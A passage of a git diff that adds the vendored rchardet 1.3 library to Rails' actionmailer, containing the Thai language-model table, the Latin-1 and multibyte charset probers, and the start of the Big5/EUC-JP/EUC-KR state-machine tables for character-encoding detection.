+0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,3,3,3,2,1,3,3,1,1,3,0,2,3,1,1,3,2,1,1,2,0,2,2,3,2,1,1,1,1,1,2, +3,0,0,1,3,1,2,1,2,0,3,0,0,0,1,0,3,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0, +3,3,1,1,3,2,3,3,3,1,3,2,1,3,2,1,3,2,2,2,2,1,3,3,1,2,1,3,1,2,3,0, +2,1,1,3,2,2,2,1,2,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2, +3,3,2,3,2,3,3,2,3,2,3,2,3,3,2,1,0,3,2,2,2,1,2,2,2,1,2,2,1,2,1,1, +2,2,2,3,0,1,3,1,1,1,1,0,1,1,0,2,1,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,3,3,3,2,3,2,2,1,1,3,2,3,2,3,2,0,3,2,2,1,2,0,2,2,2,1,2,2,2,2,1, +3,2,1,2,2,1,0,2,0,1,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1, +3,3,3,3,3,2,3,1,2,3,3,2,2,3,0,1,1,2,0,3,3,2,2,3,0,1,1,3,0,0,0,0, +3,1,0,3,3,0,2,0,2,1,0,0,3,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,3,3,2,3,2,3,3,0,1,3,1,1,2,1,2,1,1,3,1,1,0,2,3,1,1,1,1,1,1,1,1, +3,1,1,2,2,2,2,1,1,1,0,0,2,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1, +3,2,2,1,1,2,1,3,3,2,3,2,2,3,2,2,3,1,2,2,1,2,0,3,2,1,2,2,2,2,2,1, +3,2,1,2,2,2,1,1,1,1,0,0,1,1,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,3,3,3,3,3,3,3,1,3,3,0,2,1,0,3,2,0,0,3,1,0,1,1,0,1,0,0,0,0,0,1, +1,0,0,1,0,3,2,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,0,2,2,2,3,0,0,1,3,0,3,2,0,3,2,2,3,3,3,3,3,1,0,2,2,2,0,2,2,1,2, +0,2,3,0,0,0,0,1,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1, +3,0,2,3,1,3,3,2,3,3,0,3,3,0,3,2,2,3,2,3,3,3,0,0,2,2,3,0,1,1,1,3, +0,0,3,0,0,0,2,2,0,1,3,0,1,2,2,2,3,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1, +3,2,3,3,2,0,3,3,2,2,3,1,3,2,1,3,2,0,1,2,2,0,2,3,2,1,0,3,0,0,0,0, +3,0,0,2,3,1,3,0,0,3,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,1,3,2,2,2,1,2,0,1,3,1,1,3,1,3,0,0,2,1,1,1,1,2,1,1,1,0,2,1,0,1, +1,2,0,0,0,3,1,1,0,0,0,0,1,0,1,0,0,1,0,1,0,0,0,0,0,3,1,0,0,0,1,0, +3,3,3,3,2,2,2,2,2,1,3,1,1,1,2,0,1,1,2,1,2,1,3,2,0,0,3,1,1,1,1,1, +3,1,0,2,3,0,0,0,3,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,0,2,3,0,3,3,0,2,0,0,0,0,0,0,0,3,0,0,1,0,0,0,0,0,0,0,0,0,0,0, +0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,2,3,1,3,0,0,1,2,0,0,2,0,3,3,2,3,3,3,2,3,0,0,2,2,2,0,0,0,2,2, +0,0,1,0,0,0,0,3,0,0,0,0,2,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0, +0,0,0,3,0,2,0,0,0,0,0,0,0,0,0,0,1,2,3,1,3,3,0,0,1,0,3,0,0,0,0,0, +0,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,3,1,2,3,1,2,3,1,0,3,0,2,2,1,0,2,1,1,2,0,1,0,0,1,1,1,1,0,1,0,0, +1,0,0,0,0,1,1,0,3,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,3,3,3,2,1,0,1,1,1,3,1,2,2,2,2,2,2,1,1,1,1,0,3,1,0,1,3,1,1,1,1, +1,1,0,2,0,1,3,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,2,0,1, +3,0,2,2,1,3,3,2,3,3,0,1,1,0,2,2,1,2,1,3,3,1,0,0,3,2,0,0,0,0,2,1, +0,1,0,0,0,0,1,2,0,1,1,3,1,1,2,2,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0, +0,0,3,0,0,1,0,0,0,3,0,0,3,0,3,1,0,1,1,1,3,2,0,0,0,3,0,0,0,0,2,0, +0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,2,0,0,0,0,0,0,0,0,0, +3,3,1,3,2,1,3,3,1,2,2,0,1,2,1,0,1,2,0,0,0,0,0,3,0,0,0,3,0,0,0,0, +3,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,0,1,2,0,3,3,3,2,2,0,1,1,0,1,3,0,0,0,2,2,0,0,0,0,3,1,0,1,0,0,0, +0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,0,2,3,1,2,0,0,2,1,0,3,1,0,1,2,0,1,1,1,1,3,0,0,3,1,1,0,2,2,1,1, +0,2,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,0,0,3,1,2,0,0,2,2,0,1,2,0,1,0,1,3,1,2,1,0,0,0,2,0,3,0,0,0,1,0, +0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,0,1,1,2,2,0,0,0,2,0,2,1,0,1,1,0,1,1,1,2,1,0,0,1,1,1,0,2,1,1,1, +0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1, +0,0,0,2,0,1,3,1,1,1,1,0,0,0,0,3,2,0,1,0,0,0,1,2,0,0,0,1,0,0,0,0, +0,0,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,3,3,3,3,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +1,0,2,3,2,2,0,0,0,1,0,0,0,0,2,3,2,1,2,2,3,0,0,0,2,3,1,0,0,0,1,1, +0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0, +3,3,2,2,0,1,0,0,0,0,2,0,2,0,1,0,0,0,1,1,0,0,0,2,1,0,1,0,1,1,0,0, +0,1,0,2,0,0,1,0,3,0,1,0,0,0,2,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,3,1,0,0,1,0,0,0,0,0,1,1,2,0,0,0,0,1,0,0,1,3,1,0,0,0,0,1,1,0,0, +0,1,0,0,0,0,3,0,0,0,0,0,0,3,0,0,0,0,0,0,0,3,0,0,0,0,0,0,0,0,0,0, +3,3,1,1,1,1,2,3,0,0,2,1,1,1,1,1,0,2,1,1,0,0,0,2,1,0,1,2,1,1,0,1, +2,1,0,3,0,0,0,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +1,3,1,0,0,0,0,0,0,0,3,0,0,0,3,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1, +0,0,0,2,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,3,2,0,0,0,0,0,0,1,2,1,0,1,1,0,2,0,0,1,0,0,2,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,2,0,0,0,1,3,0,1,0,0,0,2,0,0,0,0,0,0,0,1,2,0,0,0,0,0, +3,3,0,0,1,1,2,0,0,1,2,1,0,1,1,1,0,1,1,0,0,2,1,1,0,1,0,0,1,1,1,0, +0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,3,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0, +2,2,2,1,0,0,0,0,1,0,0,0,0,3,0,0,0,0,0,0,0,0,0,3,0,0,0,0,0,0,0,0, +2,0,0,0,0,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +2,3,0,0,1,1,0,0,0,2,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +1,1,0,1,2,0,1,2,0,0,1,1,0,2,0,1,0,0,1,0,0,0,0,1,0,0,0,2,0,0,0,0, +1,0,0,1,0,1,1,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,1,0,0,0,0,0,0,0,1,1,0,1,1,0,2,1,3,0,0,0,0,1,1,0,0,0,0,0,0,0,3, +1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +2,0,1,0,1,0,0,2,0,0,2,0,0,1,1,2,0,0,1,1,0,0,0,1,0,0,0,1,1,0,0,0, +1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0, +1,0,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,1,1,0,0,0, +2,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,3,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +2,0,0,0,0,2,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,3,0,0,0, +2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,1,0,0,0,0, +1,0,0,0,0,0,0,0,0,1,0,0,0,0,2,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,1,1,0,0,2,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +] + +TIS620ThaiModel = { + 'charToOrderMap' => TIS620CharToOrderMap, + 'precedenceMatrix' => ThaiLangModel, + 'mTypicalPositiveRatio' => 0.926386, + 'keepEnglishLetter' => false, + 'charsetName' => "TIS-620" +} +end diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/latin1prober.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/latin1prober.rb new file mode 100755 index 00000000..3f40ff1c --- /dev/null +++ b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/latin1prober.rb @@ -0,0 +1,147 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is Mozilla Universal charset detector code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 2001 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Jeff Hodges - port to Ruby +# Mark Pilgrim - port to Python +# Shy Shalom - original C code +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +module CharDet + FREQ_CAT_NUM = 4 + + UDF = 0 # undefined + OTH = 1 # other + ASC = 2 # ascii capital letter + ASS = 3 # ascii small letter + ACV = 4 # accent capital vowel + ACO = 5 # accent capital other + ASV = 6 # accent small vowel + ASO = 7 # accent small other + CLASS_NUM = 8 # total classes + + Latin1_CharToClass = [ + OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # 00 - 07 + OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # 08 - 0F + OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # 10 - 17 + OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # 18 - 1F + OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # 20 - 27 + OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # 28 - 2F + OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # 30 - 37 + OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # 38 - 3F + OTH, ASC, ASC, ASC, ASC, ASC, ASC, ASC, # 40 - 47 + ASC, ASC, ASC, ASC, ASC, ASC, ASC, ASC, # 48 - 4F + ASC, ASC, ASC, ASC, ASC, ASC, ASC, ASC, # 50 - 57 + ASC, ASC, ASC, OTH, OTH, OTH, OTH, OTH, # 58 - 5F + OTH, ASS, ASS, ASS, ASS, ASS, ASS, ASS, # 60 - 67 + ASS, ASS, ASS, ASS, ASS, ASS, ASS, ASS, # 68 - 6F + ASS, ASS, ASS, ASS, ASS, ASS, ASS, ASS, # 70 - 77 + ASS, ASS, ASS, OTH, OTH, OTH, OTH, OTH, # 78 - 7F + OTH, UDF, OTH, ASO, OTH, OTH, OTH, OTH, # 80 - 87 + OTH, OTH, ACO, OTH, ACO, UDF, ACO, UDF, # 88 - 8F + UDF, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # 90 - 97 + OTH, OTH, ASO, OTH, ASO, UDF, ASO, ACO, # 98 - 9F + OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # A0 - A7 + OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # A8 - AF + OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # B0 - B7 + OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # B8 - BF + ACV, ACV, ACV, ACV, ACV, ACV, ACO, ACO, # C0 - C7 + ACV, ACV, ACV, ACV, ACV, ACV, ACV, ACV, # C8 - CF + ACO, ACO, ACV, ACV, ACV, ACV, ACV, OTH, # D0 - D7 + ACV, ACV, ACV, ACV, ACV, ACO, ACO, ACO, # D8 - DF + ASV, ASV, ASV, ASV, ASV, ASV, ASO, ASO, # E0 - E7 + ASV, ASV, ASV, ASV, ASV, ASV, ASV, ASV, # E8 - EF + ASO, ASO, ASV, ASV, ASV, ASV, ASV, OTH, # F0 - F7 + ASV, ASV, ASV, ASV, ASV, ASO, ASO, ASO, # F8 - FF + ] + + # 0 : illegal + # 1 : very unlikely + # 2 : normal + # 3 : very likely + Latin1ClassModel = [ + # UDF OTH ASC ASS ACV ACO ASV ASO + 0, 0, 0, 0, 0, 0, 0, 0, # UDF + 0, 3, 3, 3, 3, 3, 3, 3, # OTH + 0, 3, 3, 3, 3, 3, 3, 3, # ASC + 0, 3, 3, 3, 1, 1, 3, 3, # ASS + 0, 3, 3, 3, 1, 2, 1, 2, # ACV + 0, 3, 3, 3, 3, 3, 3, 3, # ACO + 0, 3, 1, 3, 1, 1, 1, 3, # ASV + 0, 3, 1, 3, 1, 1, 3, 3, # ASO + ] + + class Latin1Prober < CharSetProber + def initialize + super + reset() + end + + def reset + @_mLastCharClass = OTH + @_mFreqCounter = [0] * FREQ_CAT_NUM + super + end + + def get_charset_name + return "windows-1252" + end + + def feed(aBuf) + aBuf = filter_with_english_letters(aBuf) + aBuf.each_byte do |b| + c = b.chr + charClass = Latin1_CharToClass[c[0]] + freq = Latin1ClassModel[(@_mLastCharClass * CLASS_NUM) + charClass] + if freq == 0 + @_mState = ENotMe + break + end + @_mFreqCounter[freq] += 1 + @_mLastCharClass = charClass + end + + return get_state() + end + + def get_confidence + if get_state() == ENotMe + return 0.01 + end + + total = @_mFreqCounter.inject{|a,b| a+b} + if total < 0.01 + confidence = 0.0 + else + confidence = (@_mFreqCounter[3] / total) - (@_mFreqCounter[1] * 20.0 / total) + end + if confidence < 0.0 + confidence = 0.0 + end + # lower the confidence of latin1 so that other more accurate detector + # can take priority. + confidence = confidence * 0.5 + return confidence + end + end +end diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/mbcharsetprober.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/mbcharsetprober.rb new file mode 100755 index 00000000..ede33ddc --- /dev/null +++ b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/mbcharsetprober.rb @@ -0,0 +1,89 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is Mozilla Universal charset detector code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 2001 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Jeff Hodges - port to Ruby +# Mark Pilgrim - port to Python +# Shy Shalom - original C code +# Proofpoint, Inc. +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +module CharDet + class MultiByteCharSetProber < CharSetProber + def initialize + super + @_mDistributionAnalyzer = nil + @_mCodingSM = nil + @_mLastChar = "\x00\x00" + end + + def reset + super + if @_mCodingSM + @_mCodingSM.reset() + end + if @_mDistributionAnalyzer + @_mDistributionAnalyzer.reset() + end + @_mLastChar = "\x00\x00" + end + + def get_charset_name + end + + def feed(aBuf) + aLen = aBuf.length + for i in (0...aLen) + codingState = @_mCodingSM.next_state(aBuf[i..i]) + if codingState == EError + $stderr << "#{get_charset_name} prober hit error at byte #{i}\n" if $debug + @_mState = ENotMe + break + elsif codingState == EItsMe + @_mState = EFoundIt + break + elsif codingState == EStart + charLen = @_mCodingSM.get_current_charlen() + if i == 0 + @_mLastChar[1] = aBuf[0..0] + @_mDistributionAnalyzer.feed(@_mLastChar, charLen) + else + @_mDistributionAnalyzer.feed(aBuf[i-1...i+1], charLen) + end + end + end + @_mLastChar[0] = aBuf[aLen-1..aLen-1] + + if get_state() == EDetecting + if @_mDistributionAnalyzer.got_enough_data() and (get_confidence() > SHORTCUT_THRESHOLD) + @_mState = EFoundIt + end + end + return get_state() + end + + def get_confidence + return @_mDistributionAnalyzer.get_confidence() + end + end +end diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/mbcsgroupprober.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/mbcsgroupprober.rb new file mode 100755 index 00000000..4f4113ce --- /dev/null +++ b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/mbcsgroupprober.rb @@ -0,0 +1,45 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is Mozilla Universal charset detector code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 2001 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Jeff Hodges - port to Ruby +# Mark Pilgrim - port to Python +# Shy Shalom - original C code +# Proofpoint, Inc. +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +module CharDet + class MBCSGroupProber < CharSetGroupProber + def initialize + super + @_mProbers = [ UTF8Prober.new, + SJISProber.new, + EUCJPProber.new, + GB2312Prober.new, + EUCKRProber.new, + Big5Prober.new, + EUCTWProber.new ] + reset() + end + end +end diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/mbcssm.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/mbcssm.rb new file mode 100755 index 00000000..3c6abaf5 --- /dev/null +++ b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/mbcssm.rb @@ -0,0 +1,542 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is mozilla.org code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 1998 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Jeff Hodges - port to Ruby +# Mark Pilgrim - port to Python +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +module CharDet + # BIG5 + + BIG5_cls = [ + 1,1,1,1,1,1,1,1, # 00 - 07 #allow 0x00 as legal value + 1,1,1,1,1,1,0,0, # 08 - 0f + 1,1,1,1,1,1,1,1, # 10 - 17 + 1,1,1,0,1,1,1,1, # 18 - 1f + 1,1,1,1,1,1,1,1, # 20 - 27 + 1,1,1,1,1,1,1,1, # 28 - 2f + 1,1,1,1,1,1,1,1, # 30 - 37 + 1,1,1,1,1,1,1,1, # 38 - 3f + 2,2,2,2,2,2,2,2, # 40 - 47 + 2,2,2,2,2,2,2,2, # 48 - 4f + 2,2,2,2,2,2,2,2, # 50 - 57 + 2,2,2,2,2,2,2,2, # 58 - 5f + 2,2,2,2,2,2,2,2, # 60 - 67 + 2,2,2,2,2,2,2,2, # 68 - 6f + 2,2,2,2,2,2,2,2, # 70 - 77 + 2,2,2,2,2,2,2,1, # 78 - 7f + 4,4,4,4,4,4,4,4, # 80 - 87 + 4,4,4,4,4,4,4,4, # 88 - 8f + 4,4,4,4,4,4,4,4, # 90 - 97 + 4,4,4,4,4,4,4,4, # 98 - 9f + 4,3,3,3,3,3,3,3, # a0 - a7 + 3,3,3,3,3,3,3,3, # a8 - af + 3,3,3,3,3,3,3,3, # b0 - b7 + 3,3,3,3,3,3,3,3, # b8 - bf + 3,3,3,3,3,3,3,3, # c0 - c7 + 3,3,3,3,3,3,3,3, # c8 - cf + 3,3,3,3,3,3,3,3, # d0 - d7 + 3,3,3,3,3,3,3,3, # d8 - df + 3,3,3,3,3,3,3,3, # e0 - e7 + 3,3,3,3,3,3,3,3, # e8 - ef + 3,3,3,3,3,3,3,3, # f0 - f7 + 3,3,3,3,3,3,3,0 # f8 - ff + ] + + BIG5_st = [ + EError,EStart,EStart, 3,EError,EError,EError,EError,#00-07 + EError,EError,EItsMe,EItsMe,EItsMe,EItsMe,EItsMe,EError,#08-0f + EError,EStart,EStart,EStart,EStart,EStart,EStart,EStart #10-17 + ] + + Big5CharLenTable = [0, 1, 1, 2, 0] + + Big5SMModel = {'classTable' => BIG5_cls, + 'classFactor' => 5, + 'stateTable' => BIG5_st, + 'charLenTable' => Big5CharLenTable, + 'name' => 'Big5' + } + + # EUC-JP + + EUCJP_cls = [ + 4,4,4,4,4,4,4,4, # 00 - 07 + 4,4,4,4,4,4,5,5, # 08 - 0f + 4,4,4,4,4,4,4,4, # 10 - 17 + 4,4,4,5,4,4,4,4, # 18 - 1f + 4,4,4,4,4,4,4,4, # 20 - 27 + 4,4,4,4,4,4,4,4, # 28 - 2f + 4,4,4,4,4,4,4,4, # 30 - 37 + 4,4,4,4,4,4,4,4, # 38 - 3f + 4,4,4,4,4,4,4,4, # 40 - 47 + 4,4,4,4,4,4,4,4, # 48 - 4f + 4,4,4,4,4,4,4,4, # 50 - 57 + 4,4,4,4,4,4,4,4, # 58 - 5f + 4,4,4,4,4,4,4,4, # 60 - 67 + 4,4,4,4,4,4,4,4, # 68 - 6f + 4,4,4,4,4,4,4,4, # 70 - 77 + 4,4,4,4,4,4,4,4, # 78 - 7f + 5,5,5,5,5,5,5,5, # 80 - 87 + 5,5,5,5,5,5,1,3, # 88 - 8f + 5,5,5,5,5,5,5,5, # 90 - 97 + 5,5,5,5,5,5,5,5, # 98 - 9f + 5,2,2,2,2,2,2,2, # a0 - a7 + 2,2,2,2,2,2,2,2, # a8 - af + 2,2,2,2,2,2,2,2, # b0 - b7 + 2,2,2,2,2,2,2,2, # b8 - bf + 2,2,2,2,2,2,2,2, # c0 - c7 + 2,2,2,2,2,2,2,2, # c8 - cf + 2,2,2,2,2,2,2,2, # d0 - d7 + 2,2,2,2,2,2,2,2, # d8 - df + 0,0,0,0,0,0,0,0, # e0 - e7 + 0,0,0,0,0,0,0,0, # e8 - ef + 0,0,0,0,0,0,0,0, # f0 - f7 + 0,0,0,0,0,0,0,5 # f8 - ff + ] + + EUCJP_st = [ + 3, 4, 3, 5,EStart,EError,EError,EError,#00-07 + EError,EError,EError,EError,EItsMe,EItsMe,EItsMe,EItsMe,#08-0f + EItsMe,EItsMe,EStart,EError,EStart,EError,EError,EError,#10-17 + EError,EError,EStart,EError,EError,EError, 3,EError,#18-1f + 3,EError,EError,EError,EStart,EStart,EStart,EStart #20-27 + ] + + EUCJPCharLenTable = [2, 2, 2, 3, 1, 0] + + EUCJPSMModel = {'classTable' => EUCJP_cls, + 'classFactor' => 6, + 'stateTable' => EUCJP_st, + 'charLenTable' => EUCJPCharLenTable, + 'name' => 'EUC-JP' + } + + # EUC-KR + + EUCKR_cls = [ + 1,1,1,1,1,1,1,1, # 00 - 07 + 1,1,1,1,1,1,0,0, # 08 - 0f + 